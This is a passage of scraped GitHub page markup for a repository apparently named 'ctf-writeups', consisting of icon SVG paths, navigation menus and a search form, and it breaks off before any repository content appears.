1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="162845937" data-scoped-search-url="/KEERRO/ctf-writeups/search" data-owner-scoped-search-url="/users/KEERRO/search" data-unscoped-search-url="/search" data-turbo="false" action="/KEERRO/ctf-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="9Qp+joaFWHF0IhDKz0Wwwh5l6medFdFBYoEF0UI5VVsWiYsdY9Uz5tyUr37aVxwyALK+AhXY8tE/WcFcw+t2yw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 